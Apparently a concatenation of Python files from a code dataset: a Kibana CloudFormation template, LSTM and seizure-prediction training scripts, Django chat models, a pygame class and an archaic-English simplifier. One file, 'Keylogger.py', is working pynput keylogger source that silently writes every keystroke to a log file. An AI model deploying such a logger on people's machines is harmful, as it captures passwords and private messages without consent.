Instances'\n))\n\nkb_elb_sgs = templ.add_parameter(Parameter(\n 'KBLoadBalancerSecurityGroups',\n Type='List',\n Description='SecurityGroup for ELB'\n))\n\nkb_dnsname = templ.add_parameter(Parameter(\n 'KBDnsName',\n Type='String',\n Description='DNS Name for Kibana URL'\n))\n\nkb_route53_pubzoneid = templ.add_parameter(Parameter(\n 'KBRoute53PublicZoneId',\n Type='AWS::Route53::HostedZone::Id',\n Description='Route53 Public Zone ID to create entries'\n))\n\nkb_route53_pubzonename = templ.add_parameter(Parameter(\n 'KBRoute53PublicZoneName',\n Type='String',\n Description='Route53 Public Zone Name'\n))\n\nansible_pull_repo_url = templ.add_parameter(Parameter(\n 'AnsiblePullRepoUrl',\n Type='String',\n Description='Repository URL to be used by Ansible Pull in UserData'\n))\n\nkb_instance_role = templ.add_resource(iam.Role(\n 'KBInstanceRole',\n Path='/',\n AssumeRolePolicyDocument={\n 'Statement': [\n {\n 'Effect': 'Allow',\n 'Principal': {\n 'Service': ['ec2.amazonaws.com']\n },\n 'Action': ['sts:AssumeRole']\n }\n ]\n },\n Policies=[\n iam.Policy(\n PolicyName='ESInstanceEC2DescribeInstances',\n PolicyDocument={\n 'Version': '2012-10-17',\n 'Statement': [\n {\n \"Action\": [\n \"ec2:DescribeInstances\"\n ],\n \"Effect\": \"Allow\",\n \"Resource\": \"*\"\n }\n ]\n }\n )\n ]\n))\n\nkb_instance_profile = templ.add_resource(iam.InstanceProfile(\n 'KBInstanceProfile',\n Path='/',\n Roles=([Ref(kb_instance_role)])\n))\n\nload_balancer = templ.add_resource(elb.LoadBalancer(\n 'LoadBalancer',\n Subnets=Ref(subnets),\n HealthCheck=elb.HealthCheck(\n Target='HTTP:5601/',\n HealthyThreshold='5',\n UnhealthyThreshold='2',\n Interval='20',\n Timeout='15',\n ),\n Listeners=[\n elb.Listener(\n LoadBalancerPort='80',\n InstancePort='5601',\n Protocol='HTTP',\n InstanceProtocol='HTTP',\n ),\n ],\n CrossZone=True,\n SecurityGroups=Ref(kb_elb_sgs),\n LoadBalancerName=Join('-', ['kibana', Ref(kb_dnsname), 'elb']),\n Scheme='internet-facing',\n))\n\nlaunch_config = templ.add_resource(LaunchConfiguration(\n 'LaunchConfiguration',\n AssociatePublicIpAddress=True,\n ImageId=Ref(ami_id),\n InstanceType=Ref(instance_type),\n KeyName=Ref(key_name),\n SecurityGroups=Ref(kb_instance_sgs),\n IamInstanceProfile=Ref(kb_instance_profile),\n UserData=Base64(Join('', [\n '#!/bin/bash\\n',\n 'exec > >(tee /var/log/user-data.log|logger -t user-data) 2>&1 \\n',\n 'echo 127.0.0.1 > /tmp/inventory.txt \\n',\n '/usr/local/bin/ansible-pull --purge -i /tmp/inventory.txt ',\n '-d /tmp/ansible -U ', Ref(ansible_pull_repo_url), ' ',\n 'kibana/user-data.yml --extra-vars \"',\n 'es_endpoint=', Ref(es_endpoint), '\"\\n'\n ])),\n))\n\nasg = templ.add_resource(AutoScalingGroup(\n 'AutoscalingGroup',\n DesiredCapacity=1,\n Tags=[\n Tag('Name', Ref('AWS::StackName'), True)\n ],\n LaunchConfigurationName=Ref(launch_config),\n LoadBalancerNames=[Ref(load_balancer)],\n MinSize=1,\n MaxSize=1,\n VPCZoneIdentifier=Ref(subnets),\n HealthCheckType='EC2'\n))\n\nelb_dns_record = templ.add_resource(RecordSetGroup(\n 'ELBDNSRecord',\n HostedZoneId=Join('', ['/hostedzone/', Ref(kb_route53_pubzoneid)]),\n Comment='KB ELB CNAME',\n RecordSets=[\n RecordSet(\n Type='A',\n Name=Join('.', [Ref(kb_dnsname), Ref(kb_route53_pubzonename)]),\n AliasTarget=AliasTarget(\n hostedzoneid=GetAtt(load_balancer,\n 'CanonicalHostedZoneNameID'),\n dnsname=GetAtt(load_balancer, 'DNSName'))\n )\n ],\n DependsOn=\"LoadBalancer\"\n))\n\n\nif __name__ == '__main__':\n print(templ.to_json())\n","sub_path":"kibana/kibana-cfn.py","file_name":"kibana-cfn.py","file_ext":"py","file_size_in_byte":5754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"34177910","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat sep 05 06:17Am 2020\n\n@author: c00294860\n\ngo through the Test set and form the results\nHere the normalisation of train used is consider the whole datas' features' minimum and maximum\n\"\"\"\n#data_dir_main= 'C:/Users/c00294860/Desktop/time_series'\nimport os\nimport csv\nimport pickle\nfrom copy import deepcopy\n\n\ndata_dir_main= '/home/C00294860/Documents/Anomaly/Anomally_2020_Fall/'\nos.chdir('/')\nos.chdir(data_dir_main)\nfile_name='household_power_consumption_part_1.csv'\n#%\ndef retrive_rows(file_name,omit_rows=[],omit_coloumns=[],type_coloumn={},type_change={}):\n '''\n This is a helper function to data curaitation of CSV files\n omit_rows: list of rows not inclueded in final results\n omit_coloumns: list of coloumns not inclueded in final results\n type_coloumn: Type of the data in the columns if you needed to convert in the order of csv\n If this provided then must be given for all coloumns not string\n '''\n f = open(file_name)\n csv_f = csv.reader(f)\n stack=[]\n for row in csv_f:\n stack.append(row)\n break_occured=False\n final_data=[]\n for i in range(0,len(stack)):\n if i not in omit_rows: \n final_data_t=[]\n for j in range(0,len(stack[i])):\n if j not in omit_coloumns:\n if j in list(type_coloumn.keys()):\n try:\n final_data_t.append(type_coloumn[j](stack[i][j]))\n except:\n print(stack[i])\n break_occured=True\n break\n else:\n if j in list(type_change.keys()):\n final_data_t.append(type_change[j][stack[i][j]])\n else:\n final_data_t.append(stack[i][j])\n if break_occured:\n break\n final_data.append(final_data_t)\n return final_data\n# intialise the dataset to fit \ntype_coloumn={}\ntype_coloumn.update({2: float})\ntype_coloumn.update({3: float})\ntype_coloumn.update({4: float})\ntype_coloumn.update({5: float})\ntype_coloumn.update({6: int})\ntype_coloumn.update({7: int})\ntype_coloumn.update({8: int})\n\ntype_change={}#may be we can give the direction as relative to general or give different coloumns asnd assign binary \n\ndataset = retrive_rows(file_name,omit_rows=[0],omit_coloumns=[0,1],type_coloumn=type_coloumn)\nactual_type_data_fetaures=[float,float,float,float,int,int,int]\n\n'''\n go through time base models\n'''\nfrom tensorflow import keras\nfrom Deep_time_series_models import data_feeder\n\n\n \nfrom Deep_time_series_models import LSTM_all\n\nload_model_dir=''.join([data_dir_main,'data_results/stack_2_LSTM_base'])\nos.chdir('/')\nif not os.path.isdir(load_model_dir):\n os.makedirs(load_model_dir)\n\nstacks =3\nfeatures=7\nfor h_size_fac in [0.125,0.0625,0.25,0.5,1,2,4,8]:\n #h_size_fac=2\n time_steps = 60\n #prediction_steps=10\n # for prediction_steps in [1,2,3]:\n for prediction_steps in [15,30,45,60]:\n # prediction_steps = 1\n model_intial=LSTM_all(features,time_steps,prediction_steps)\n train_data_obj=data_feeder(data_dir_main,dataset,'Stacked_LSTM_base',time_steps,features,actual_type_data_fetaures,prediction_steps=prediction_steps)\n model,model_name =model_intial.Stacked_LSTM_base_hidden(h_size_fac,number_of_stacks=stacks)\n model.compile(loss='mean_squared_error',optimizer=keras.optimizers.Adam(),metrics=['accuracy']) \n# history_all=[]\n for itration in range(0,100):\n for fetch in range(0,len(train_data_obj.train_indexes)):\n x_train, y_train=train_data_obj.train_data_get(fetch)\n history = model.fit(x_train, y_train,batch_size=len(x_train),epochs=1,validation_split=0.2,verbose=0)\n # print(history.history.keys())\n# print('validation acc: ',round(100*history.history['val_acc'][-1],2),'%')\n# print('training acc: ',round(100*history.history['acc'][-1],2),'%')\n# history_all.append(deepcopy(history.history))\n if itration//10==0:\n c_train_test=0\n x_train_all=0\n for fetch in range(0,len(train_data_obj.train_indexes)):\n x_train, y_train=train_data_obj.train_data_get(fetch)\n test_scores = model.evaluate(x_train, y_train,verbose=1)\n c_train_test = c_train_test +int(test_scores[1]*(len(x_train)))\n x_train_all = x_train_all + len(x_train)\n print(\"Accuracy: \",100*c_train_test/x_train_all)\n os.chdir('/')\n os.chdir(load_model_dir)\n model.save(''.join([\"timesteps_\",str(time_steps),\"_predsteps_\",str(prediction_steps),model_name]))\n predict_all=[]\n for fetch in range(0,len(train_data_obj.train_indexes)):\n x_train, y_train=train_data_obj.train_data_get(fetch)\n predict_all.append(deepcopy(model.predict(x_train,verbose=0)))\n pickle.dump(predict_all, open(''.join([\"LSTM_stack_\",str(stacks),\"_base_vin1_train_timesteps_\",str(time_steps),\"_predsteps_\",str(prediction_steps),'_h_size_',str(int(model_intial.h_size*h_size_fac)),\"_fac_\",str(h_size_fac),\".p\"]), \"wb\")) \n \n# test_data_obj=data_feeder(dataset,'LSTM_base',time_steps,features,actual_type_data_fetaures)\n test_data_obj=data_feeder(data_dir_main,dataset,'Stacked_LSTM_base',time_steps,features,actual_type_data_fetaures,prediction_steps=prediction_steps)\n\n predict_all=[]\n for fetch in range(0,len(test_data_obj.test_indexes)):\n x_test =test_data_obj.test_data_get(fetch)\n predict_all.append(deepcopy(model.predict(x_test,verbose=0)))\n pickle.dump(predict_all, open(''.join([\"LSTM_stack_\",str(stacks),\"_base_vin1_test_timesteps_\",str(time_steps),\"_predsteps_\",str(prediction_steps),'_h_size_',str(int(model_intial.h_size*h_size_fac)),\"_fac_\",str(h_size_fac),\".p\"]), \"wb\")) \n","sub_path":"LSTM_stack_base_vin1.py","file_name":"LSTM_stack_base_vin1.py","file_ext":"py","file_size_in_byte":6057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"432078380","text":"import pynput\nfrom pynput.keyboard import Key, Listener\n\nkeys = []\nactions = 0\nupdateEvery = 10\n\ndef keyPress(key):\n global keys, actions, updateEvery\n actions += 1\n keys.append(key)\n\n if actions >= updateEvery:\n actions = 0\n writeFile(keys)\n keys = []\n print(\"{} pressed\".format(key))\n\ndef keyRelease(key):\n if key == Key.esc: #Exit when esc key is pressed\n return False\n\ndef writeFile(keys):\n with open(\"log.txt\", \"a\") as file:\n for key in keys:\n k = str(key).replace(\"'\",\"\")\n if k.find(\"Key.space\") != -1: #Checks specifically for space\n file.write(\" \")\n elif k.find(\"Key.enter\") != -1:\n file.write(\"\\n\")\n elif k.find(\"Key.backspace\") != -1:\n file.write(\"(DEL)\")\n elif k.find(\"Key\") == -1: #Writes normal characters and numbers\n file.write(k)\n\nwith Listener(on_press = keyPress, on_release = keyRelease) as listener:\n listener.join()\n","sub_path":"Keylogger.py","file_name":"Keylogger.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"430433985","text":"from datetime import datetime, timedelta\n\nfrom django.conf import settings\nfrom django.contrib.auth.models import AbstractUser\nfrom django.utils.safestring import mark_safe\nfrom django.db import models\nimport jwt\n\nfrom telegram_bot.models import User\n\n\nclass Staff(AbstractUser):\n login = models.CharField(\n \"login\",\n max_length=16,\n unique=True,\n help_text=\"Уникальный логин сотрудника\",\n )\n\n username = models.CharField(\n \"username\",\n max_length=32,\n unique=True,\n help_text=\"Псевдоним сотрудника\",\n )\n\n USERNAME_FIELD = 'login'\n REQUIRED_FIELDS = ['username']\n\n @property\n def token(self):\n return self._generate_jwt_token()\n\n def _generate_jwt_token(self):\n \"\"\"\n #Генерирует веб-токен JSON, в котором хранится идентификатор этого\n #пользователя, срок действия токена составляет 1 день от создания\n \"\"\"\n dt = datetime.now() + timedelta(days=1)\n\n token = jwt.encode({\n \"id\": self.pk,\n \"exp\": int(dt.timestamp())\n }, settings.SECRET_KEY, algorithm=\"HS256\")\n\n return token.decode(\"utf-8\")\n\n def __str__(self):\n return f\"User: {self.username}\"\n\n class Meta(AbstractUser.Meta):\n verbose_name = \"Сотрудника\"\n verbose_name_plural = \"Сотрудники\"\n\n\nclass Chat(models.Model):\n ucid = models.AutoField(\n \"ucid\",\n primary_key=True,\n unique=True,\n help_text=\"Уникальный идентификатор чата в базе данных\",\n )\n\n id = models.BigIntegerField(\n \"id\",\n help_text=\"Идентификатор чата в telegram\",\n )\n\n is_archived = models.BooleanField(\n \"is_archived\",\n default=False,\n help_text=\"Является ли чат заархивированным\",\n )\n\n archived_at = models.DateTimeField(\n \"archived_at\",\n blank=True,\n null=True,\n help_text=\"Дата архивации чата\",\n )\n\n is_note = models.BooleanField(\n \"is_note\",\n default=False,\n help_text=\"Является ли чат заметкой\",\n )\n\n first_name = models.CharField(\n \"first_name\",\n max_length=128,\n help_text=\"Имя пользователя\",\n )\n\n last_name = models.CharField(\n \"last_name\",\n max_length=128,\n blank=True,\n null=True,\n help_text=\"Фамилия пользователя\",\n )\n\n username = models.CharField(\n \"username\",\n max_length=64,\n blank=True,\n null=True,\n help_text=\"Псевдоним пользователя (необязательный)\",\n )\n\n type = models.CharField(\n \"type\",\n max_length=32,\n blank=True,\n null=True,\n help_text=\"Тип чата\",\n )\n\n user = models.ForeignKey(\n User,\n on_delete=models.CASCADE,\n blank=True,\n null=True,\n related_name=\"chats\"\n )\n\n staff = models.ForeignKey(\n Staff,\n on_delete=models.CASCADE,\n blank=True,\n null=True,\n related_name=\"chats\"\n )\n\n created_at = models.DateTimeField(auto_now_add=True)\n\n @property\n def archived_at_formatted(self):\n if self.archived_at:\n return self.archived_at.strftime(\"%d-%m-%Y %H:%M:%S\")\n return \"[Дата не установлена]\"\n\n def __str__(self):\n first_name = self.first_name or \"\"\n last_name = self.last_name or \"\"\n username = \"@\" + self.username if self.username else \"\"\n state = f\"ARCHIVED {self.archived_at_formatted}\" if self.is_archived else \"ACTIVE\"\n return f\"Сhat: {first_name} {last_name} {username} ({self.id}) {state}\"\n\n class Meta:\n verbose_name = \"Чат\"\n verbose_name_plural = \"Чаты\"\n\n\nclass Message(models.Model):\n umid = models.AutoField(\n \"umid\",\n primary_key=True,\n unique=True,\n help_text=\"Уникальный идентификатор сообщения в базе данных\",\n )\n\n id = models.BigIntegerField(\n \"id\",\n help_text=\"Идентификатор сообщения в telegram\",\n )\n\n chat = models.ForeignKey(\n Chat,\n on_delete=models.CASCADE,\n related_name=\"messages\"\n )\n\n user = models.ForeignKey(\n User,\n on_delete=models.SET_NULL,\n blank=True,\n null=True,\n )\n\n staff = models.ForeignKey(\n Staff,\n on_delete=models.SET_NULL,\n blank=True,\n null=True,\n )\n\n reply_to_message = models.ForeignKey(\n \"Message\",\n on_delete=models.SET_NULL,\n blank=True,\n null=True,\n )\n\n text = models.TextField(\n \"text\",\n blank=True,\n null=True,\n help_text=\"Текст сообщения\",\n )\n\n photo = models.ImageField(\n blank=True,\n null=True,\n help_text=\"Изображение от пользователя\",\n )\n\n document = models.FileField(\n blank=True,\n null=True,\n help_text=\"Файл от пользователя\",\n )\n\n file_name = models.CharField(\n \"filename\",\n max_length=255,\n blank=True,\n null=True,\n help_text=\"Имя файла отправленого пользователем\",\n )\n\n caption = models.TextField(\n \"caption\",\n blank=True,\n null=True,\n help_text=\"Описание файла/фото от пользователя\",\n )\n\n edited_text = models.TextField(\n \"edited_text\",\n blank=True,\n null=True,\n help_text=\"Отредактированный текст сообщения\",\n )\n\n is_edited = models.BooleanField(\n \"is_edited\",\n default=False,\n help_text=\"Является ли сообщение отредактированным\",\n )\n\n is_deleted = models.BooleanField(\n \"is_deleted\",\n default=False,\n help_text=\"Является ли сообщение удаленным\",\n )\n\n date = models.DateTimeField(\n \"date\",\n blank=True,\n null=True,\n help_text=\"Время получения сообщения в telegram\",\n )\n\n created_at = models.DateTimeField(\n \"created_at\",\n auto_now_add=True,\n help_text=\"Время создания сообщения в базе данных\",\n )\n\n def __str__(self):\n if self.text:\n preview_text = self.text[:100] if self.text else self.caption\n elif self.photo:\n preview_text = f'Фото'\n elif self.document:\n preview_text = f'Документ: {self.file_name}'\n else:\n preview_text = 'Отсутствует'\n\n return mark_safe(f\"Telegram message ({self.id}): {preview_text}\")\n\n class Meta:\n verbose_name = \"Сообщение\"\n verbose_name_plural = \"Сообщения\"\n","sub_path":"chat/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"45758386","text":"import pygame\n\n\n \nclass Boxf():\n xone = 0\n yone = 0\n xtwo = 0 \n ytwo = 0\n filled = 0\n def give(self,xone,yone,xtwo,ytwo,filled):\n self.xone = xone\n self.yone = yone\n self.xtwo = xtwo\n self.ytwo = ytwo\n self.filled = filled\n def click(self, x, y,pointer):\n if x > self.xone and x < self.xtwo and y > self.yone and y < self.ytwo:\n if self.filled == 1 and pointer == 0:\n self.filled = 0\n return 1\n elif self.filled == 2 and pointer == 0:\n self.filled = 0\n return 2\n elif self.filled == 3 and pointer == 0:\n self.filled = 0\n return 3\n elif self.filled == 0 and pointer > 0:\n self.filled = pointer\n return 0\n else:\n return pointer\n else:\n return pointer\n def disp(self,gameDisplay):\n if self.filled == 1:\n gameDisplay.blit(pygame.image.load('ham.png'),(self.xone,self.yone))\n if self.filled == 2:\n gameDisplay.blit(pygame.image.load('wood.png'),(self.xone,self.yone))\n if self.filled == 3:\n gameDisplay.blit(pygame.image.load('ham1.png'),(self.xone,self.yone))\n","sub_path":"boxf.py","file_name":"boxf.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"65354585","text":"\"\"\"\nClassify the test set.\n\"\"\"\n\nimport numpy as np\nimport utils\nimport utils_classif\nimport config as cfg\nimport pandas as pd\nimport os\n\nfrom sklearn.model_selection import StratifiedShuffleSplit\nfrom sklearn.metrics import roc_auc_score\n\n\nrandom_state = 123\n\ntest_data_loc = None # 'D:\\\\parietal' # None for default location\n\nRUN_ON_TEST = True # If true, generate file for submission\n # If false, run on all training data\n\nN_SPLITS = 20\n\nOUT_FILE = 'four.csv'\n#-----------------------------------------------------------\n# Classification parameters for each subject\n#-----------------------------------------------------------\nparams = {}\n\n\n\nparams['Dog_1'] = { 'options': { 'p_idx':0,\n 'features': ['c1'],\n 'clip_c2': False},\n 'classifier_name': 'select_lda_kbest_lda'\n }\n\n\nparams['Dog_2'] = { 'options': { 'p_idx':0,\n 'features': ['c1'],\n 'clip_c2': False},\n 'classifier_name': 'select_lda_kbest_lda'\n }\n\nparams['Dog_3'] = { 'options': { 'p_idx':0,\n 'features': ['c1'],\n 'clip_c2': False},\n 'classifier_name': 'select_lda_kbest_lda'\n }\n\n\n\nparams['Dog_4'] = { 'options': { 'p_idx':0,\n 'features': ['c1'],\n 'clip_c2': False},\n 'classifier_name': 'select_lda_kbest_lda'\n }\n\n\n\nparams['Dog_5'] = { 'options': { 'p_idx':0,\n 'features': ['c1'],\n 'clip_c2': False},\n 'classifier_name': 'select_lda_kbest_lda'\n }\n\n\nparams['Patient_1'] = { 'options': { 'p_idx':0,\n 'features': ['c1'],\n 'clip_c2': False},\n 'classifier_name': 'select_lda_kbest_lda'\n }\n\n\n\nparams['Patient_2'] = { 'options': { 'p_idx':0,\n 'features': ['c1'],\n 'clip_c2': False},\n 'classifier_name': 'select_lda_kbest_lda'\n }\n\n\n#-----------------------------------------------------------\n# Cross validation\n#-----------------------------------------------------------\n\ncv = StratifiedShuffleSplit(n_splits = N_SPLITS,\n test_size = 0.25,\n random_state = random_state )\n\n#-----------------------------------------------------------\n# Run on test\n#-----------------------------------------------------------\n\nif RUN_ON_TEST:\n data_dict = {'clip': [], 'preictal': []}\n df = pd.DataFrame.from_dict(data_dict)\n\n for subject in cfg.subjects:\n print(subject, params[subject])\n\n clf, fit_params = utils_classif.get_classifier(params[subject]['classifier_name'],\n cv, None)\n\n X_train, y_train, _, _ = utils.load_classif_data(subject, params[subject]['options'])\n\n X_test = utils.load_classif_test_data(subject, params[subject]['options'], test_data_loc)\n\n\n # train\n clf.fit(X_train, y_train, **fit_params)\n\n # predict\n y_scores = clf.predict_proba(X_test)[:, 1]\n\n\n # Save\n clips = []\n for test_file_idx in range( X_test.shape[0] ):\n clip = '%s_test_segment_%s.mat'%(subject, str(test_file_idx+1).zfill(4))\n clips.append(clip)\n\n data_dict = {'clip': clips, 'preictal': y_scores}\n\n df = pd.concat( [df, pd.DataFrame.from_dict(data_dict)], ignore_index = True)\n\n outfilename = os.path.join('submissions', OUT_FILE)\n\n df.to_csv(outfilename, index=False)\n\n\n#-----------------------------------------------------------\n# Run on train\n#-----------------------------------------------------------\n\nelse:\n # Create CV iterators\n generators = {}\n for subject in cfg.subjects:\n X, y, _, _ = utils.load_classif_data(subject, params[subject]['options'])\n gen = cv.split(X, y)\n generators[subject] = gen\n\n\n # Run\n aucs = []\n global_auc = []\n\n for split in range(N_SPLITS):\n auc_list = []\n y_test_all = []\n y_scores_all = []\n\n print(\"------------- split \", split)\n for subject in cfg.subjects:\n print(subject)\n X, y, _, _ = utils.load_classif_data(subject, params[subject]['options'])\n\n train_index, test_index = next(generators[subject])\n\n\n X_train = X[train_index, :]\n X_test = X[test_index, :]\n\n y_train = y[train_index]\n y_test = y[test_index]\n\n clf, fit_params = utils_classif.get_classifier(params[subject]['classifier_name'],\n None, None)\n\n\n # train\n clf.fit(X_train, y_train, **fit_params)\n\n # predict\n y_scores = clf.predict_proba(X_test)[:, 1]\n\n\n y_test_all += list(y_test)\n y_scores_all += list(y_scores)\n auc_list.append(roc_auc_score(y_test, y_scores))\n\n aucs.append(auc_list)\n global_auc.append(roc_auc_score(y_test_all, y_scores_all))\n","sub_path":"kaggle/run_prediction.py","file_name":"run_prediction.py","file_ext":"py","file_size_in_byte":5438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"325298688","text":"#!/usr/bin/python\n \nimport sys\nimport re\n\nethtable = {}\ncurlemma = ''\n\nsimpsub = {}\nsimpsub['abide'] = \"remain\"\nsimpsub['adread'] = \"afraid\"\nsimpsub['Albeit'] = \"Although\"\nsimpsub['albeit'] = \"although\"\nsimpsub['amid'] = \"among\"\nsimpsub['anigh'] = \"near\"\nsimpsub['anywise'] = \"in any way\"\nsimpsub['athrob'] = \"throbbing\"\nsimpsub['aught'] = \"anything\"\nsimpsub['bade'] = \"commanded\"\nsimpsub['badest'] = \"commanded\"\nsimpsub['bid'] = \"command\"\nsimpsub['bids'] = \"commands\"\nsimpsub['brake'] = \"broke\"\nsimpsub['builded'] = \"built\"\nsimpsub['car'] = \"chariot\"\nsimpsub['chine'] = \"back-meat\"\nsimpsub['coursing'] = \"racing\"\nsimpsub['deem'] = \"think\"\nsimpsub['deemed'] = \"thought\"\nsimpsub['didst'] = \"did\"\nsimpsub['doth'] = \"does\"\nsimpsub['dost'] = \"do\"\nsimpsub['drave'] = \"drove\"\nsimpsub['dravest'] = \"drove\"\nsimpsub['dykes'] = \"bridges\"\nsimpsub['ere'] = \"before\"\nsimpsub['essayed'] = \"tried\"\nsimpsub['folk'] = \"people\"\nsimpsub['fordone'] = \"done in\"\nsimpsub['froward'] = \"willful\"\nsimpsub['gainsay'] = \"deny\"\nsimpsub['gat'] = \"got\"\nsimpsub['hadst'] = \"had\"\nsimpsub['hath'] = \"has\"\nsimpsub['hast'] = \"have\"\nsimpsub['hasted'] = \"hastened\"\nsimpsub['Hearken'] = \"Listen\"\nsimpsub['hearken'] = \"listen\"\nsimpsub['hearkened'] = \"listened\"\nsimpsub['hither'] = \"here\"\nsimpsub['Howbeit'] = \"However\"\nsimpsub['howbeit'] = \"however\"\nsimpsub['kine'] = \"cattle\"\nsimpsub['thee'] = \"you\"\nsimpsub['thou'] = \"you\"\nsimpsub['thy'] = \"your\"\nsimpsub['thyself'] = \"yourself\"\nsimpsub['ye'] = \"you\"\nsimpsub['haply'] = \"by chance\"\nsimpsub['kinsfolk'] = \"family\"\nsimpsub['loathly'] = \"disgusting\"\nsimpsub['naught'] = \"nothing\"\nsimpsub['nigh'] = \"near\"\nsimpsub['nowise'] = \"in no way\"\nsimpsub['perchance'] = \"perchance\"\nsimpsub['reck'] = \"care\"\nsimpsub['rede'] = \"counsel\"\nsimpsub['saidst'] = \"said\"\nsimpsub['shalt'] = \"shall\"\nsimpsub['shew'] = \"show\"\nsimpsub['shewed'] = \"showed\"\nsimpsub['shouldst'] = \"should\"\nsimpsub['slay'] = \"kill\"\nsimpsub['slew'] = \"killed\"\nsimpsub['smite'] = \"strike\"\nsimpsub['smitest'] = \"strike\"\nsimpsub['smiting'] = \"striking\"\nsimpsub['smitten'] = \"struck\"\nsimpsub['smote'] = \"struck\"\nsimpsub['sooth'] = \"truth\"\nsimpsub['spake'] = \"spoke\"\nsimpsub['stinting'] = \"lack\"\nsimpsub['succour'] = \"help\"\nsimpsub['suspecting'] = \"suspicious\"\nsimpsub['tarried'] = \"waited\"\nsimpsub['tarry'] = \"wait\"\nsimpsub['thine'] = \"your\"\nsimpsub['Thrice'] = \"Three times\"\nsimpsub['thrice'] = \"three times\"\nsimpsub['twain'] = \"two\"\nsimpsub['unto'] = \"to\"\nsimpsub['uprose'] = \"rose up\"\nsimpsub['Verily'] = \"Truly\"\nsimpsub['verily'] = \"truly\"\nsimpsub['vouchsafe'] = \"promise\"\nsimpsub['vouchsafed'] = \"promised\"\nsimpsub['vouchsafes'] = \"promises\"\nsimpsub['ware'] = \"aware\"\nsimpsub['wast'] = \"were\"\nsimpsub['waxed'] = \"became\"\nsimpsub['ween'] = \"believe\"\nsimpsub['whatsoe\\'er'] = \"whatever\"\nsimpsub['whenso'] = \"whenever\"\nsimpsub['Wherefore'] = \"For which reason\"\nsimpsub['wherefore'] = \"for which reason\"\nsimpsub['Wherefrom'] = \"From which\"\nsimpsub['wherefrom'] = \"from which\"\nsimpsub['Wherewith'] = \"with which\"\nsimpsub['wherein'] = \"in which\"\nsimpsub['Wherein'] = \"In which\"\nsimpsub['whereon'] = \"on which\"\nsimpsub['Whereon'] = \"On which\"\nsimpsub['Whither'] = \"Where\"\nsimpsub['whither'] = \"where\"\nsimpsub['whomsoever'] = \"whoever\"\nsimpsub['wilt'] = \"will\"\nsimpsub['wont'] = \"accustomed\"\nsimpsub['wroth'] = \"angry\"\nsimpsub['Ye'] = \"You\"\nsimpsub['ye'] = \"you\"\n\nngramsub = {}\nngramsub[\"for that\"] = \"for\"\nngramsub[\"from out\"] = \"out of\"\nngramsub[\"from out of\"] = \"out of\"\nngramsub[\"gave ear\"] = \"listened\"\nngramsub[\"give ear\"] = \"listen\"\nngramsub[\"holden of\"] = \"held by\"\nngramsub[\"like unto\"] = \"like\"\nngramsub[\"make essay\"] = \"attempt\"\nngramsub[\"make prayer\"] = \"pray\"\nngramsub[\"mine own\"] = \"my own\"\nngramsub[\"no wise\"] = \"no way\"\nngramsub[\"of a surety\"] = \"surely\"\nngramsub[\"is fain\"] = \"wants\"\nngramsub[\"sate him\"] = \"sat\"\nngramsub[\"was fain\"] = \"wanted\"\nngramsub[\"this wise\"] = \"this way\"\n\ncompsub = {}\ncompsub['abode'] = 'a'\ncompsub['baneful'] = 'a'\ncompsub['bethink'] = 'a'\ncompsub['dread'] = 'a'\ncompsub['demesne'] = 'τέμενος' #separate land, of gods and of kinds\ncompsub['essay'] = 'a'\ncompsub['forsooth'] = 'a'\ncompsub['Forthwith'] = 'a'\ncompsub['forthwith'] = 'a'\ncompsub['hie'] = 'a'\ncompsub['laden'] = 'a'\ncompsub['Lo'] = 'a'\ncompsub['lo'] = 'a'\ncompsub['meed'] = 'a'\ncompsub['Nay'] = 'a'\ncompsub['nay'] = 'a'\ncompsub['pratest'] = 'a'\ncompsub['sate'] = 'a'\ncompsub['sore'] = 'a'\ncompsub['Thereat'] = 'a'\ncompsub['thereat'] = 'a'\ncompsub['thereof'] = 'a'\ncompsub['Thereto'] = 'a'\ncompsub['thereto'] = 'a'\ncompsub['therewithal'] = 'a'\ncompsub['whereof'] = 'a'\ncompsub['withal'] = 'a'\ncompsub['wonderous'] = 'a'\ncompsub['wonderously'] = 'a'\ncompsub['wrought'] = 'a'\ncompsub['Yea'] = 'a'\ncompsub['yea'] = 'a'\ncompsub['yon'] = 'a'\ncompsub['yonder'] = 'a'\n\nf = open(\"eth-3rd-pers.txt\",\"r\")\nfor l in f:\n l = re.sub(\":[^\\t]+\",\"\",l)\n args = l.split('\\t')\n ethtable[args[0]] = args[1]\n #print(args[0],ethtable[args[0]])\nf.close()\n\nf = open(\"est-2nd-pers.txt\",\"r\")\nfor l in f:\n l = re.sub(\":[^\\t]+\",\"\",l)\n args = l.split('\\t')\n ethtable[args[0]] = args[1]\n #print(args[0],ethtable[args[0]])\nf.close()\n\ndef do_eth(s):\n t = re.sub(\"<[^>]+>\",\" \",s)\n t = re.sub('[\\.,;:\"!,\\s\\?]+',\" \",t)\n checkedwords = {}\n args = t.split(\" \")\n for a in args:\n if(a in checkedwords):\n continue\n if(a in ethtable):\n # print(\"eth-s\",a,ethtable[a])\n s = re.sub('\\\\b' + a + \"\\\\b\",\"\" + ethtable[a] + \"\",s)\n if(a in compsub):\n s = re.sub('\\\\b' + a + \"\\\\b\",\"\" + a + \"\",s)\n if(a in simpsub and a not in checkedwords):\n s = re.sub('\\\\b' + a + \"\\\\b\",'' + simpsub[a] + \"\",s)\n checkedwords[a] = 1\n\n return(s)\n\n\nintext = 0\nfor w in sys.stdin.readlines():\n if( re.search(\"\" + ngramsub[a]+'',w)\n w = re.sub(\"goodly\\\\s+([A-Z])\",\"brilliant \\g<1>\",w)\n w = re.sub(\"was\\\\s+(abated)\",\"had \\g<1>\",w)\n w = do_eth(w)\n w = re.sub('you[\\s]+art\\\\b',\"you are\",w)\n w = re.sub('\\\\bart[\\s]+you',\"are you\",w)\n\n print(w,end='')\n 